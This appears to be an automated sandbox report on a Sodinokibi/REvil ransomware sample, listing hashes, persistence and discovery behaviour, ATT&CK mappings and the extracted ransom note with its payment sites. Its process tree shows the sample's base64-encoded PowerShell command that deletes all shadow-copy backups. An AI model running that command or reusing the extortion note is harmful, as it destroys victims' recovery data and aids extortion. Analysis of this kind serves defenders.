sodinokibi | 69de11ed75d212a04e1f03206929f339d8a3f20dec5b8047adf5bb4d9e1b27c3

General

Target

42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Size

166KB
MD5

43e9093ffc8dd69985a9ae65b26f5551
SHA1

7b268ff84e824ddcd8b7df3cf9993be012489d01
SHA256

42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d
SHA512

118d879750d0456f5b2e31818815ef9465fb40eac24f4784236c626d2a2e753b5a85ec5b2c66a755b10855c9caaf77bd85b6b3d1fc7003fb029cb703ead9037c
SSDEEP

3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QG9BEJfMt0H:ZJ0BXScFy2RsQJ8zgG9jt0

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\bm02qgl-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension bm02qgl. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0422D02648DD265F 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/0422D02648DD265F Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Mep/TV8VjPH2oKt5kJfYOO4pTtw95cmC/v8tI9rcxshPFLNG8HlTLhHuvhIIs0vL Gh+xZLSfhNVMzT1OPQgWLsDpPWhJf5KrY9XugdKJpmSv0c5BkCo4e/3DaoGAYR5M KRTp3uI87qnWoOg9ccbyCKd8cTA288zOk58KMPsAnk6lCvXJYuXigx7scR418CTi tpaPPoq/RBkd9MiOLFyz1I3d3LRzyqRvLs78WWT9indOJxAFXIXhTBoeTOxpBwAD VcaZR9ecsoCjXsLWVJW8IMAIF6VJk6o3jke+bkwSCwNOpzPxQm/chfuQSIUDMfwu leXQazTicH/YEe5c7DXJQBXECpN/f5OHw9sawp5WZ4zw2XWnchxVxLsrm/d5AlRa NuXh2dDfPR5/mwfYQsZMfSjYXSAOKsXEMvTTPLE69buvbCh5ufO24IJklwkf1zQZ ydXdBbcHbeMWMH1yvJT4RhuGrtLwAOlR9DItpCrD2HZk+y/FObLmZMvnhy0ja7qX Wv4YVHOztU+La2cBm3Cw0Botr+8ulYkLLK5CrGYEFZ83cMmG4u7Wf8wVGVNlDHlx BVfjG+R1Y4mJhPvj+7YAuA9chMKVlenQVkPlPGfxs+Z/hP1d4UvGhfyshV21CGzV Q23WirAOWGU75V0rE9Hqkm2HboayjtPcMpQEEFUhY6FNoMA/jV9R0SROtub5J3zq nU6Se3J6bKo/cguAFYrFsLvlRv8GKOHGOhc/Q+iZ8R9BZhFjC2Rb0DkuCz7zHIrl W1i8zDz8uu4zie2sI1XtSUB5ZWmXUH0wIc/F0EefQd57azbo1RV8TK7IPMMdegiL 9GVYHxLNDs9ZdBpQW4UXypc7b+mgX+fTLoffNLPf4FCkhutcrYT98ERaYvoqjATI FaEof7AX1tZ9jUj6OggTD5haIXrPT8wNlO4scVMZItEZQlSjwMqPbepDDYY5k42R MzwadeAKNeqXeWANkt3S2anGPrebigmRxIGT/3n7rr6alcLIlx5f+od7+knq/17e fuIef5S5kYUh2JQVaahT0V32VRW+SPTmqwln1kEbXcY55UU2e0+xax6b+px89yfO IZhMRVNJM8vBu4z4XC/wjuM3B1zA0vsnkRcY4fkAWit9MfpK5S1l00HxgTlzfEpL tmQjm31xadXzR8cStHDqzBJNoSDsIIUGzmaCB2mFPfVTBrRJ5rPuO0DDvgZtAMYA YjtD4KEyj2mfTEgwdxeKAd8kof0= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0422D02648DD265F

http://decryptor.cc/0422D02648DD265F

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe"	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\U:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\J:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\L:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\W:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\X:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\D:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\O:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\H:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\I:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\E:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\K:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\N:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\P:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\F:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Q:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\R:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\G:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\M:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\S:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\T:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\V:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Z:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\B:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened (read-only)	\??\Y:	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\yhss22j.bmp"	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	\??\c:\program files (x86)\bm02qgl-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\DisconnectUnpublish.ppsx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ImportConvertFrom.mpv2	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\InvokeWatch.001	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ResolveConvertFrom.vsdm	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\WatchOptimize.wps	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\AssertExpand.vbe	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\ConnectConfirm.wma	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\SplitResolve.ppsx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\InitializeOpen.xls	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\InstallGrant.easmx	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File created	\??\c:\program files\bm02qgl-readme.txt	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
File opened for modification	\??\c:\program files\OptimizeCompare.jpg	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1524	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
1524	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeBackupPrivilege	4752	vssvc.exe
Token: SeRestorePrivilege	4752	vssvc.exe
Token: SeAuditPrivilege	4752	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 4780	1524	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	92
PID 1524 wrote to memory of 4780	1524	42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe	92

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe
"C:\Users\Admin\AppData\Local\Temp\42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4780

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2944

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zn531qyb.nse.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\bm02qgl-readme.txt

Filesize
6KB

MD5
26d5c6b69c3cd7c0326ae2bb62b19bc3

SHA1
6e708c9fff7975182366522f5f8e1e4e8c8c371f

SHA256
e79fc1c410e78a93e0e6ff36dbbcbde29e349f0932c0ac0ea856417dea0b9a1c

SHA512
adbc938794db379568dd34d401a7f42c2a2eb3e24256070b9ac1b000b247053344095fc99e8f82724b581cffd3740b993d9e99f16b56e7368b878c0dd0c687c6

Download Submit
memory/4780-0-0x0000020B9E320000-0x0000020B9E342000-memory.dmp

Filesize
136KB

Download
memory/4780-10-0x00007FFB73FD0000-0x00007FFB74A91000-memory.dmp

Filesize
10.8MB

Download
memory/4780-11-0x0000020B9E380000-0x0000020B9E390000-memory.dmp

Filesize
64KB

Download
memory/4780-12-0x0000020B9E380000-0x0000020B9E390000-memory.dmp

Filesize
64KB

Download
memory/4780-15-0x00007FFB73FD0000-0x00007FFB74A91000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads